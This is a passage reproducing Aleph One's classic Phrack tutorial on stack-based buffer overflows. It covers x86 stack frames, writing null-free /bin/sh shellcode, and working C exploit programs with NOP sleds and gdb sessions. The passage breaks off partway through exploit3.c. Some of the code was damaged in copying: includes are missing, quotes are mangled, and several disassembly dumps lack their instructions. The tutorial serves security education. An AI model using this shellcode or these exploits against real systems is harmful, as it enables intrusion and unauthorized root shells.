The buffer overflow attack is one of the most common on the Internet. Just like the Y2K problem occurred because of the common coding mistake of using 2-digits, the buffer overflow bug is caused by a typical mistake of not double-checking input, and allowing large input (like a login name of a thousand characters) “overflow” into some other region of memory, causing a crash or a break-in.
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
bring you
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by Aleph One
aleph1@underground.org
`smash the stack` [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.
Introduction
~~~~~~~~~~~~
Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.
Basic knowledge of assembly is required. An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.
Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays. Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at load
time on the data segment. Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.
Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To understand what stack buffers are we must first understand how a
process is organized in memory. Processes are divided into three regions:
Text, Data, and Stack. We will concentrate on the stack region, but first
a small overview of the other regions is in order.
The text region is fixed by the program and includes code (instructions)
and read-only data. This region corresponds to the text section of the
executable file. This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.
The data region contains initialized and uninitialized data. Static
variables are stored in this region. The data region corresponds to the
data-bss sections of the executable file. Its size can be changed with the
brk(2) system call. If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.
/——————\ lower
| | memory
| Text | addresses
| |
|——————|
| (Initialized) |
| Data |
| (Uninitialized) |
|——————|
| |
| Stack | higher
| | memory
\——————/ addresses
Fig. 1 Process Memory Regions
What Is A Stack?
~~~~~~~~~~~~~~~~
A stack is an abstract data type frequently used in computer science. A
stack of objects has the property that the last object placed on the stack
will be the first object removed. This property is commonly referred to as
last in, first out queue, or a LIFO.
Several operations are defined on stacks. Two of the most important are
PUSH and POP. PUSH adds an element at the top of the stack. POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.
Why Do We Use A Stack?
~~~~~~~~~~~~~~~~~~~~~~
Modern computers are designed with the need of high-level languages in
mind. The most important technique for structuring programs introduced by
high-level languages is the procedure or function. From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call. This high-level abstraction
is implemented with the help of the stack.
The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.
The Stack Region
~~~~~~~~~~~~~~~~
A stack is a contiguous block of memory containing data. A register called
the stack pointer (SP) points to the top of the stack. The bottom of the
stack is at a fixed address. Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.
The stack consists of logical stack frames that are pushed when calling a
function and popped when returning. A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.
Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up. In our examples we’ll use a stack that grows
down. This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
implementation dependent. It may point to the last address on the stack, or
to the next free available address after the stack. For our discussion we’ll
assume it points to the last address on the stack.
In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame. Some texts also refer
to it as a local base pointer (LB). In principle, local variables could be
referenced by giving their offsets from SP. However, as words are pushed onto
the stack and popped from the stack, these offsets change. Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required. Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.
Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
purpose. On the Motorola CPUs, any address register except A7 (the stack
pointer) will do. Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.
The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit). Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog. Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog. The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.
Let us see what the stack looks like in a simple example:
example1.c:
——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
——————————————————————————
To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:
$ gcc -S -o example1.s example1.c
By looking at the assembly language output we see that the call to
function() is translated to:
pushl $3
pushl $2
pushl $1
call function
This pushes the 3 arguments to function backwards into the stack, and
calls function(). The instruction ‘call’ will push the instruction pointer
(IP) onto the stack. We’ll call the saved IP the return address (RET). The
first thing done in function is the procedure prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
This pushes EBP, the frame pointer, onto the stack. It then copies the
current SP onto EBP, making it the new FP pointer. We’ll call the saved FP
pointer SFP. It then allocates space for the local variables by subtracting
their size from SP.
We must remember that memory can only be addressed in multiples of the
word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory. That is why SP is being
subtracted by 20. With that in mind our stack looks like this when
function() is called (each space represents a byte):
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<—— [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
Buffer Overflows
~~~~~~~~~~~~~~~~
A buffer overflow is the result of stuffing more data into a buffer than
it can handle. How can this often found programming error can be taken
advantage to execute arbitrary code? Lets look at another example:
example2.c
——————————————————————————
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = ‘A’;
function(large_string);
}
——————————————————————————
This is program has a function with a typical buffer overflow coding
error. The function copies a supplied string without bounds checking by
using strcpy() instead of strncpy(). If you run this program you will get a
segmentation violation. Lets see what its stack looks when we call function:
bottom of top of
memory memory
buffer sfp ret *str
<—— [ ][ ][ ][ ]
top of bottom of
stack stack
What is going on here? Why do we get a segmentation violation? Simple.
strcpy() is coping the contents of *str (larger_string[]) into buffer[]
until a null character is found on the string. As we can see buffer[] is
much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff
it with 256 bytes. This means that all 250 bytes after buffer in the stack
are being overwritten. This includes the SFP, RET, and even *str! We had
filled large_string with the character ‘A’. It’s hex character value
is 0×41. That means that the return address is now 0×41414141. This is
outside of the process address space. That is why when the function returns
and tries to read the next instruction from that address you get a
segmentation violation.
So a buffer overflow allows us to change the return address of a function.
In this way we can change the flow of execution of the program. Lets go back
to our first example and recall what the stack looked like:
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<—— [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
Lets try to modify our first example so that it overwrites the return
address, and demonstrate how we can make it execute arbitrary code. Just
before buffer1[] on the stack is SFP, and before it, the return address.
That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is
really 2 word so its 8 bytes long. So the return address is 12 bytes from
the start of buffer1[]. We’ll modify the return value in such a way that the
assignment statement ‘x = 1;’ after the function call will be jumped. To do
so we add 8 bytes to the return address. Our code is now:
example3.c:
——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf(”%d\n”,x);
}
——————————————————————————
What we have done is add 12 to buffer1[]’s address. This new address is
where the return address is stored. We want to skip pass the assignment to
the printf call. How did we know to add 8 to the return address? We used a
test value first (for example 1), compiled the program, and then started gdb:
——————————————————————————
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000490
0×8000491
0×8000493
0×8000496
0×800049d
0×800049f
0×80004a1
0×80004a3
0×80004a8
0×80004ab
0×80004b2
0×80004b5
0×80004b6
0×80004bb
0×80004c0
0×80004c3
0×80004c5
0×80004c6
0×80004c7
——————————————————————————
We can see that when calling function() the RET will be 0×8004a8, and we
want to jump past the assignment at 0×80004ab. The next instruction we want
to execute is the at 0×8004b2. A little math tells us the distance is 8
bytes.
Shell Code
~~~~~~~~~~
So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute? In most cases we’ll simply
want the program to spawn a shell. From the shell we can then issue other
commands as we wish. But what if there is no such code in the program we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer. Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<—— [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0×01][0×02][0×03]
^ |
|____________________________|
top of bottom of
stack stack
The code to spawn a shell in C looks like:
shellcode.c
—————————————————————————–
#include
void main() {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
——————————————————————————
To find out what does it looks like in assembly we compile it, and start
up gdb. Remember to use the -static flag. Otherwise the actual code the
for the execve system call will not be included. Instead there will be a
reference to dynamic C library that would normally would be linked in at
load time.
——————————————————————————
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000130
0×8000131
0×8000133
0×8000136
0×800013d
0×8000144
0×8000146
0×8000149
0×800014a
0×800014d
0×800014e
0×8000153
0×8000156
0×8000158
0×8000159
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0×80002bc <__execve>: pushl %ebp
0×80002bd <__execve+1>: movl %esp,%ebp
0×80002bf <__execve+3>: pushl %ebx
0×80002c0 <__execve+4>: movl $0xb,%eax
0×80002c5 <__execve+9>: movl 0×8(%ebp),%ebx
0×80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0×80002cb <__execve+15>: movl 0×10(%ebp),%edx
0×80002ce <__execve+18>: int $0×80
0×80002d0 <__execve+20>: movl %eax,%edx
0×80002d2 <__execve+22>: testl %edx,%edx
0×80002d4 <__execve+24>: jnl 0×80002e6 <__execve+42>
0×80002d6 <__execve+26>: negl %edx
0×80002d8 <__execve+28>: pushl %edx
0×80002d9 <__execve+29>: call 0×8001a34 <__normal_errno_location>
0×80002de <__execve+34>: popl %edx
0×80002df <__execve+35>: movl %edx,(%eax)
0×80002e1 <__execve+37>: movl $0xffffffff,%eax
0×80002e6 <__execve+42>: popl %ebx
0×80002e7 <__execve+43>: movl %ebp,%esp
0×80002e9 <__execve+45>: popl %ebp
0×80002ea <__execve+46>: ret
0×80002eb <__execve+47>: nop
End of assembler dump.
——————————————————————————
Lets try to understand what is going on here. We’ll start by studying main:
——————————————————————————
0×8000130
0×8000131
0×8000133
This is the procedure prelude. It first saves the old frame pointer,
makes the current stack pointer the new frame pointer, and leaves
space for the local variables. In this case its:
char *name[2];
or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).
0×8000136
We copy the value 0×80027b8 (the address of the string “/bin/sh”)
into the first pointer of name[]. This is equivalent to:
name[0] = “/bin/sh”;
0×800013d
We copy the value 0×0 (NULL) into the seconds pointer of name[].
This is equivalent to:
name[1] = NULL;
The actual call to execve() starts here.
0×8000144
We push the arguments to execve() in reverse order onto the stack.
We start with NULL.
0×8000146
We load the address of name[] into the EAX register.
0×8000149
We push the address of name[] onto the stack.
0×800014a
We load the address of the string “/bin/sh” into the EAX register.
0×800014d
We push the address of the string “/bin/sh” onto the stack.
0×800014e
Call the library procedure execve(). The call instruction pushes the
IP onto the stack.
——————————————————————————
Now execve(). Keep in mind we are using a Intel based Linux system. The
syscall details will change from OS to OS, and from CPU to CPU. Some will
pass the arguments on the stack, others on the registers. Some use a software
interrupt to jump to kernel mode, others use a far call. Linux passes its
arguments to the system call on the registers, and uses a software interrupt
to jump into kernel mode.
——————————————————————————
0×80002bc <__execve>: pushl %ebp
0×80002bd <__execve+1>: movl %esp,%ebp
0×80002bf <__execve+3>: pushl %ebx
The procedure prelude.
0×80002c0 <__execve+4>: movl $0xb,%eax
Copy 0xb (11 decimal) onto the stack. This is the index into the
syscall table. 11 is execve.
0×80002c5 <__execve+9>: movl 0×8(%ebp),%ebx
Copy the address of “/bin/sh” into EBX.
0×80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
Copy the address of name[] into ECX.
0×80002cb <__execve+15>: movl 0×10(%ebp),%edx
Copy the address of the null pointer into %edx.
0×80002ce <__execve+18>: int $0×80
Change into kernel mode.
——————————————————————————
So as we can see there is not much to the execve() system call. All we need
to do is:
a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0×80 instruction.
But what if the execve() call fails for some reason? The program will
continue fetching instructions from the stack, which may contain random data!
The program will most likely core dump. We want the program to exit cleanly
if the execve syscall fails. To accomplish this we must then add a exit
syscall after the execve syscall. What does the exit syscall looks like?
exit.c
——————————————————————————
#include
void main() {
exit(0);
}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0×800034c <_exit>: pushl %ebp
0×800034d <_exit+1>: movl %esp,%ebp
0×800034f <_exit+3>: pushl %ebx
0×8000350 <_exit+4>: movl $0×1,%eax
0×8000355 <_exit+9>: movl 0×8(%ebp),%ebx
0×8000358 <_exit+12>: int $0×80
0×800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0×800035d <_exit+17>: movl %ebp,%esp
0×800035f <_exit+19>: popl %ebp
0×8000360 <_exit+20>: ret
0×8000361 <_exit+21>: nop
0×8000362 <_exit+22>: nop
0×8000363 <_exit+23>: nop
End of assembler dump.
——————————————————————————
The exit syscall will place 0×1 in EAX, place the exit code in EBX,
and execute “int 0×80?. That’s it. Most applications return 0 on exit to
indicate no errors. We will place 0 in EBX. Our list of steps is now:
a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0×80 instruction.
h) Copy 0×1 into the EAX register.
i) Copy 0×0 into the EBX register.
j) Execute the int $0×80 instruction.
Trying to put this together in assembly language, placing the string
after the code, and remembering we will place the address of the string,
and null word after the array, we have:
——————————————————————————
movl string_addr,string_addr_addr
movb $0×0,null_byte_addr
movl $0×0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0×80
movl $0×1, %eax
movl $0×0, %ebx
int $0×80
/bin/sh string goes here.
——————————————————————————
The problem is that we don’t know where in the memory space of the
program we are trying to exploit the code (and the string that follows
it) will be placed. One way around it is to use a JMP, and a CALL
instruction. The JMP and CALL instructions can use IP relative addressing,
which means we can jump to an offset from the current IP without needing
to know the exact address of where in memory we want to jump to. If we
place a CALL instruction right before the “/bin/sh” string, and a JMP
instruction to it, the strings address will be pushed onto the stack as
the return address when CALL is executed. All we need then is to copy the
return address into a register. The CALL instruction can simply call the
start of our code above. Assuming now that J stands for the JMP instruction,
C for the CALL instruction, and s for the string, the execution flow would
now be:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<—— [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0×01][0×02][0×03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
With this modifications, using indexed addressing, and writing down how
many bytes each instruction takes our code looks like:
——————————————————————————
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0×0,nullbyteoffset(%esi)# 4 bytes
movl $0×0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
movl $0×1, %eax # 5 bytes
movl $0×0, %ebx # 5 bytes
int $0×80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
——————————————————————————
Calculating the offsets from jmp to call, from call to popl, from
the string address to the array, and from the string address to the null
long word, we now have:
——————————————————————————
jmp 0×26 # 2 bytes
popl %esi # 1 byte
movl %esi,0×8(%esi) # 3 bytes
movb $0×0,0×7(%esi) # 4 bytes
movl $0×0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0×8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
movl $0×1, %eax # 5 bytes
movl $0×0, %ebx # 5 bytes
int $0×80 # 2 bytes
call -0×2b # 5 bytes
.string \”/bin/sh\” # 8 bytes
——————————————————————————
Looks good. To make sure it works correctly we must compile it and run it.
But there is a problem. Our code modifies itself, but most operating system
mark code pages read-only. To get around this restriction we must place the
code we wish to execute in the stack or data segment, and transfer control
to it. To do so we will place our code in a global array in the data
segment. We need first a hex representation of the binary code. Lets
compile it first, and then use gdb to obtain it.
shellcodeasm.c
——————————————————————————
void main() {
__asm__(”
jmp 0×2a # 3 bytes
popl %esi # 1 byte
movl %esi,0×8(%esi) # 3 bytes
movb $0×0,0×7(%esi) # 4 bytes
movl $0×0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0×8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
movl $0×1, %eax # 5 bytes
movl $0×0, %ebx # 5 bytes
int $0×80 # 2 bytes
call -0×2f # 5 bytes
.string \”/bin/sh\” # 8 bytes
“);
}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000130
0×8000131
0×8000133
0×8000135
0×8000136
0×8000139
0×800013d
0×8000144
0×8000149
0×800014b
0×800014e
0×8000151
0×8000153
0×8000158
0×800015d
0×800015f
0×8000164
0×8000165
0×8000168
0×8000169
0×800016b
End of assembler dump.
(gdb) x/bx main+3
0×8000133
(gdb)
0×8000134
(gdb)
.
.
.
——————————————————————————
testsc.c
——————————————————————————
char shellcode[] =
“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00?
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80?
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3?;
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
——————————————————————————
It works! But there is an obstacle. In most cases we’ll be trying to
overflow a character buffer. As such any null bytes in our shellcode will be
considered the end of the string, and the copy will be terminated. There must
be no null bytes in the shellcode for the exploit to work. Let’s try to
eliminate the bytes (and at the same time make it smaller).
Problem instruction: Substitute with:
——————————————————–
movb $0×0,0×7(%esi) xorl %eax,%eax
molv $0×0,0xc(%esi) movb %eax,0×7(%esi)
movl %eax,0xc(%esi)
——————————————————–
movl $0xb,%eax movb $0xb,%al
——————————————————–
movl $0×1, %eax xorl %ebx,%ebx
movl $0×0, %ebx movl %ebx,%eax
inc %eax
——————————————————–
Our improved code:
shellcodeasm2.c
——————————————————————————
void main() {
__asm__(”
jmp 0×1f # 2 bytes
popl %esi # 1 byte
movl %esi,0×8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0×7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0×8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0×80 # 2 bytes
call -0×24 # 5 bytes
.string \”/bin/sh\” # 8 bytes
# 46 bytes total
“);
}
——————————————————————————
And our new test program:
testsc2.c
——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
——————————————————————————
Writing an Exploit
~~~~~~~~~~~~~~~~~~
(or how to mung the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets try to pull all our pieces together. We have the shellcode. We know
it must be part of the string which we’ll use to overflow the buffer. We
know we must point the return address back into the buffer. This example will
demonstrate these points:
overflow1.c
——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
——————————————————————————
What we have done above is filled the array large_string[] with the
address of buffer[], which is where our code will be. Then we copy our
shellcode into the beginning of the large_string string. strcpy() will then
copy large_string onto buffer without doing any bounds checking, and will
overflow the return address, overwriting it with the address where our code
is now located. Once we reach the end of main and it tried to return it
jumps to our code, and execs a shell.
The problem we are faced when trying to overflow the buffer of another
program is trying to figure out at what address the buffer (and thus our
code) will be. The answer is that for every program the stack will
start at the same address. Most programs do not push more than a few hundred
or a few thousand bytes into the stack at any one time. Therefore by knowing
where the stack starts we can try to guess where the buffer we are trying to
overflow will be. Here is a little program that will print its stack
pointer:
sp.c
——————————————————————————
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}
void main() {
printf(”0x%x\n”, get_sp());
}
——————————————————————————
——————————————————————————
[aleph1]$ ./sp
0×8000470
[aleph1]$
——————————————————————————
Lets assume this is the program we are trying to overflow is:
vulnerable.c
——————————————————————————
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
——————————————————————————
We can create a program that takes as a parameter a buffer size, and an
offset from its own stack pointer (where we believe the buffer we want to
overflow may live). We’ll put the overflow string in an environment variable
so it is easy to manipulate:
exploit2.c
——————————————————————————
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
addr = get_sp() - offset;
printf(”Using address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ‘\0';
memcpy(buff,”EGG=”,4);
putenv(buff);
system(”/bin/bash”);
}
——————————————————————————
Now we can try to guess what the buffer and offset should be:
——————————————————————————
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
——————————————————————————
As we can see this is not an efficient process. Trying to guess the
offset even while knowing where the beginning of the stack lives is nearly
impossible. We would need at best a hundred tries, and at worst a couple of
thousand. The problem is we need to guess *exactly* where the address of our
code will start. If we are off by one byte more or less we will just get a
segmentation violation or a invalid instruction. One way to increase our
chances is to pad the front of our overflow buffer with NOP instructions.
Almost all processors have a NOP instruction that performs a null operation.
It is usually used to delay execution for purposes of timing. We will take
advantage of it and fill half of our overflow buffer with them. We will place
our shellcode at the center, and then follow it with the return addresses. If
we are lucky and the return address points anywhere in the string of NOPs,
they will just get executed until they reach our code. In the Intel
architecture the NOP instruction is one byte long and it translates to 0×90
in machine code. Assuming the stack starts at address 0xFF, that S stands for
shell code, and that N stands for a NOP instruction the new stack would look
like this:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<—— [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
The new exploits is then:
exploit3.c
——————————————————————————
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0×90
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}
addr = get_sp() - offset;
printf(”Using address: 0x%x\n”, addr);
ptr = buff;
